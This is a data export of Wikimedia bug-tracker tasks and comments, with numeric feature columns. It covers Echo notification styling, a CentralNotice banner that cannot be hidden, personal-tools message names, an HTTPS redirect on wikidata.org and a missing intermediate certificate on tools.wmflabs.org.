691203,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,"-TestMe, I see this pretty often.",,,1468009663,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,False,,,149,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"-TestMe, I see this pretty often."
250331,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,I think Echo just needs to add a listener to the centralauth-p-personal-reset hook?,,,1410462568,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,False,,,54,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.55,0.85,I think Echo just needs to add a listener to the centralauth-p-personal-reset hook?
250325,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,*** Bug 55545 has been marked as a duplicate of this bug. ***,,,1385134035,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 55545 has been marked as a duplicate of this bug. ***
250318,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,That's a CA issue.,,,1377040871,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,That's a CA issue.
55116,hideBanner not correctly working on HTTPS notice,"multiple reports coming in via IRC.

The banner can be hiden on one page, but as soon as another page is opened, it reappears.

I can confirm this on enwiki.

The notice in question (generic maintenance one):
https://meta.wikimedia.org/wiki/CentralNotice/Generic_maintenance_notice

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=17108",Medium,50.0,1377030300,1377032140.0,PHID-USER-z3l4i7dl52qicxtephy5,False,,False,PHID-TASK-rdjnxovd6bc7g6s6yocp,task_description,resolved,True,c2,2,False,False,True,-2,True,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.4805194805194803,0.5974025974025974,"multiple reports coming in via IRC.

The banner can be hiden on one page, but as soon as another page is opened, it reappears.

I can confirm this on enwiki.

The notice in question (generic maintenance one):
URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
249439,hideBanner not correctly working on HTTPS notice,"ok,

So I've turned off the banner for now to let the cache clear but I've also fixed the issue. When I turn it back on in 15 minutes or so (give it time to clear then test it quickly obviously if I screwed something off I'll wait another 10 minutes after fixing it) it will be hideable.

The fact is indeed the emergency nature which needs it's own individual cookie set up. We have a red warning box on Special:CentralNotice about that but it may not be obvious enough (this is supposed to happen automatically but is not in the software yet). Right now we have a template script set up to help with that for the record:

1. Make the 'wrapper' div for the banner (in this case siteNoticeWrapper ) display:none.
2. Add {{MediaWiki:CentralNoticeHideBanner.js}} to the bottom of the banner code.
3. Save (After saving you may need to refresh the page again as well).
4. Fill out the new variables that popped up:
4a. hide-cookie-div - the name of the wrapper div (in this case siteNoticeWrapper ) 
4b. hide-cookie-name - the name of the cookie you want to use (could be the same as another emergency banner for example)
4c. hide-cookie-expire - Expiry length, in days
5. Make the close button onclick=""mw.centralNotice.bannerData.hideBanner()""
6. Save",,,1377032130,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-rdjnxovd6bc7g6s6yocp,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,3.0,1.6666666666666667,0.0,0.0,0.3333333333333333,2.3333333333333335,1.6666666666666667,0.0,0.0,0.0,2.3333333333333335,0.0,7.0,11.0,0.6666666666666666,2.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,3.6666666666666665,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,15.333333333333334,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,7.0,2.0,7.333333333333333,0.6666666666666666,1.3333333333333333,9.666666666666666,0.0,0.0,0.0,0.0,7.333333333333333,0.3333333333333333,1.3333333333333333,0.0,5.333333333333333,11.0,3.6666666666666665,0.0,1.0,0.0,5.333333333333333,0.0,1.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,1.6666666666666667,3.612220790378007,0.6778350515463917,"ok,

So I've turned off the banner for now to let the cache clear but I've also fixed the issue. When I turn it back on in 15 minutes or so (give it time to clear then test it quickly obviously if I screwed something off I'll wait another 10 minutes after fixing it) it will be hideable.

The fact is indeed the emergency nature which needs it's own individual cookie set up. We have a red warning box on Special:CentralNotice about that but it may not be obvious enough (this is supposed to happen automatically but is not in the software yet). Right now we have a template script set up to help with that for the record:

1. Make the 'wrapper' div for the banner (in this case siteNoticeWrapper ) display:none.
2. Add {{MediaWiki:CentralNoticeHideBanner.js}} to the bottom of the banner code.
3. Save (After saving you may need to refresh the page again as well).
4. Fill out the new variables that popped up:
4a. hide-cookie-div - the name of the wrapper div (in this case siteNoticeWrapper ) 
4b. hide-cookie-name - the name of the cookie you want to use (could be the same as another emergency banner for example)
4c. hide-cookie-expire - Expiry length, in days
5. Make the close button onclick=""mw.centralNotice.bannerData.hideBanner()""
6. Save"
249433,hideBanner not correctly working on HTTPS notice,"Apparently it's because the banner is marked as ""emergency"", see bug 17108 comment 8.

https://meta.wikimedia.org/w/index.php?title=Special:CentralNotice&method=listNoticeDetail&notice=Generic+maintenance+notice",,,1377031221,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-rdjnxovd6bc7g6s6yocp,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,10.0,5.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9523809523809523,"Apparently it's because the banner is marked as ""emergency"", see bug 17108 comment 8.

URL"
54861,"Separate login, logout and create account personal tools messages from messages used as special page titles","From Nemo at bug 43172:

> Thanks Krenair and MatmaRex. The worst offender for this bug is the title of
> Special:UserLogin/signup, MediaWiki:Createaccount .
> It was originally only the title of the special page, but got recently abused
> as link label from the personal toolbar of unregistered users; the result is
> that e.g. in Italian it says ""Register"" to satisfy the new usecase and is no
> longer ok as title for the special page. The two messages should be
> separated.

This can be fixed by making the register personal tools message separate (e.g. pt-createaccount).

Nemo, do you think it makes sense to also do this for login and logout?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1376507340,1393174552.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-d3un6qx5befgym2zclsa,task_description,resolved,True,c2,2,False,False,False,-2,True,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,17.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,8.0,9.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.736842105263158,0.6447368421052632,"From Nemo at bug 43172:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This can be fixed by making the register personal tools message separate (e.g. pt-createaccount).

Nemo, do you think it makes sense to also do this for login and logout?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
234699,"Separate login, logout and create account personal tools messages from messages used as special page titles","Change 100724 merged by jenkins-bot:
Add personal tools messages for messages login, userlogout, createaccount

https://gerrit.wikimedia.org/r/100724",,,1393174700,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-d3un6qx5befgym2zclsa,task_subcomment,,True,c2,3,False,,,25,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9090909090909091,"Change 100724 merged by jenkins-bot:
Add personal tools messages for messages login, userlogout, createaccount

GERRIT_URL"
234694,"Separate login, logout and create account personal tools messages from messages used as special page titles","Change 100724 had a related patch set uploaded by MegaAlex:
Add personal tools messages for messages login, userlogout, createaccount

https://gerrit.wikimedia.org/r/100724",,,1386723402,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-d3un6qx5befgym2zclsa,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.12,0.92,"Change 100724 had a related patch set uploaded by MegaAlex:
Add personal tools messages for messages login, userlogout, createaccount

GERRIT_URL"
234687,"Separate login, logout and create account personal tools messages from messages used as special page titles","Yep, that's what I meant.  So basically, create and use pt-createaccount, pt-login, and pt-userlogout.",,,1376520436,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-d3un6qx5befgym2zclsa,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1785714285714284,0.6785714285714286,"Yep, that's what I meant.  So basically, create and use pt-createaccount, pt-login, and pt-userlogout."
234682,"Separate login, logout and create account personal tools messages from messages used as special page titles","(In reply to comment #0)
> Nemo, do you think it makes sense to also do this for login and logout?

If ""this"" is not using the same message for both special page title and link labels in personal tools, definitely yes.",,,1376511237,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-d3un6qx5befgym2zclsa,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,3.0,8.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5,0.9722222222222222,"(In reply to comment #0)
QUOTE

If ""this"" is not using the same message for both special page title and link labels in personal tools, definitely yes."
54698,https://wikidata.org is redirect to http,"When going over https://wikidata.org to wikidata.org, you will end up on a http page, not on requested https.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://rt.wikimedia.org/Ticket/Display.html?id=5666",Medium,50.0,1376123880,1377477008.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-q7alf64nc36fn7a5dcir,task_description,resolved,True,c2,2,False,False,True,-3,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.2745098039215685,0.6274509803921569,"When going over URL to wikidata.org, you will end up on a http page, not on requested https.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
249519,https://wikidata.org is redirect to http,"

*** This bug has been marked as a duplicate of bug 31369 ***",,,1377477008,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-q7alf64nc36fn7a5dcir,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 31369 ***"
54630,Fix certificate chain issue for tools.wmflabs.org,"**Author:** `rlane32`

**Description:**
Cert chain is missing intermediate cert.

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1375941480,1391529995.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_description,resolved,True,c2,2,False,False,False,-3,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6842105263157894,0.5263157894736842,"**Author:** CODE

**Description:**
Cert chain is missing intermediate cert.

--------------------------
**Version**: unspecified
**Severity**: major"
245549,Fix certificate chain issue for tools.wmflabs.org,*** Bug 58284 has been marked as a duplicate of this bug. ***,,,1391550536,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 58284 has been marked as a duplicate of this bug. ***
245543,Fix certificate chain issue for tools.wmflabs.org,"(In reply to comment #9)
> While 
> http://www.sslshopper.com/ssl-checker.html#hostname=tools.wmflabs.org
> has an all green result

> http://www.sslshopper.com/ssl-checker.html#hostname=fastcci1.wmflabs.org
> gives a warning (""The certificate is not trusted in all web browsers."")

(That was a mid-air collision :-).)  I fixed *only* tools.wmflabs.org (as per the title of this bug :-)).  So I'm closing this bug again.

I assume you use [[wikitech:Help:Proxy]] for fastcci1?  Could you open another bug for that as it is a totally unrelated system?",,,1391529995,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,True,,,22,True,0.0,0.0,1.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,6.0,9.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,2.0,16.0,0.0,0.0,9.0,0.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,7.0,9.0,4.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,3.1123595505617976,0.6629213483146067,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE

(That was a mid-air collision :-).)  I fixed *only* tools.wmflabs.org (as per the title of this bug :-)).  So I'm closing this bug again.

I assume you use [[wikitech:Help:Proxy]] for fastcci1?  Could you open another bug for that as it is a totally unrelated system?"
245537,Fix certificate chain issue for tools.wmflabs.org,"(In reply to comment #8)
> The error still keeps reoccurring intermittently. I've sent since sent two
> emails to the labs list. As soon as the bug was closed I tried it on my
> Android
> phone and it worked fine. A few hours later I tried it on my tablet and it
> didn't work. Early this morning it worked, and just now it failed again (this
> seems to be device independent and only depending on time).

> Could there be multiple hosts that need the fix (round robin)?

No, there is only one host (tools-webproxy) that handles SSL and then relays via plain http to tools-webserver-0[1-3]/tools-webgrid-01.

I can't reproduce your problems; I've tried three online checks (http://www.sslshopper.com/ssl-checker.html, http://www.digicert.com/help/, https://www.ssllabs.com/ssltest/analyze.html) and all succeed (while they failed previously).

Are you directly accessing https://tools.wmflabs.org/ (vs. CORS in your tool) and seeing the issue?  Which phone/tablet and software are you using?",,,1391529699,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,True,,,22,True,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.5,0.5,1.5,0.0,4.0,5.0,0.0,0.5,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,2.5,13.0,1.0,3.5,3.0,0.0,0.0,0.0,0.5,1.5,0.0,3.0,0.0,6.0,5.0,5.0,2.0,0.0,0.0,6.0,0.0,1.5,0.0,0.0,3.0,0.0,0.0,0.0,3.6350168350168346,0.7254208754208754,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE

No, there is only one host (tools-webproxy) that handles SSL and then relays via plain http to tools-webserver-0[1-3]/tools-webgrid-01.

I can't reproduce your problems; I've tried three online checks (URL URL URL and all succeed (while they failed previously).

Are you directly accessing URL (vs. CORS in your tool) and seeing the issue?  Which phone/tablet and software are you using?"
245530,Fix certificate chain issue for tools.wmflabs.org,"**daniel** wrote:

While 
http://www.sslshopper.com/ssl-checker.html#hostname=tools.wmflabs.org
has an all green result

http://www.sslshopper.com/ssl-checker.html#hostname=fastcci1.wmflabs.org
gives a warning (""The certificate is not trusted in all web browsers."")",,,1391528978,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,5.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,11.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.054054054054054,0.7567567567567568,"**daniel** wrote:

While 
URL
has an all green result

URL
gives a warning (""The certificate is not trusted in all web browsers."")"
245524,Fix certificate chain issue for tools.wmflabs.org,"**daniel** wrote:

The error still keeps reoccurring intermittently. I've sent since sent two emails to the labs list. As soon as the bug was closed I tried it on my Android phone and it worked fine. A few hours later I tried it on my tablet and it didn't work. Early this morning it worked, and just now it failed again (this seems to be device independent and only depending on time).

Could there be multiple hosts that need the fix (round robin)?",,,1391519253,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,0.5,0.0,0.0,0.5,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,1.0,1.0,3.0,0.5,9.0,5.0,0.0,1.0,0.0,1.0,0.0,5.5,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,5.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,11.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,2.5,5.5,0.5,3.5,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,8.0,5.0,1.5,1.0,0.0,0.0,8.0,0.0,1.0,0.5,0.0,1.5,0.0,0.0,0.0,3.5925716440422324,0.7863876319758673,"**daniel** wrote:

The error still keeps reoccurring intermittently. I've sent since sent two emails to the labs list. As soon as the bug was closed I tried it on my Android phone and it worked fine. A few hours later I tried it on my tablet and it didn't work. Early this morning it worked, and just now it failed again (this seems to be device independent and only depending on time).

Could there be multiple hosts that need the fix (round robin)?"
245518,Fix certificate chain issue for tools.wmflabs.org,"Wait, so SSLCertificateChainFile should specifically /not/ be a certificate chain file?  That's...  so sane.

*groan*

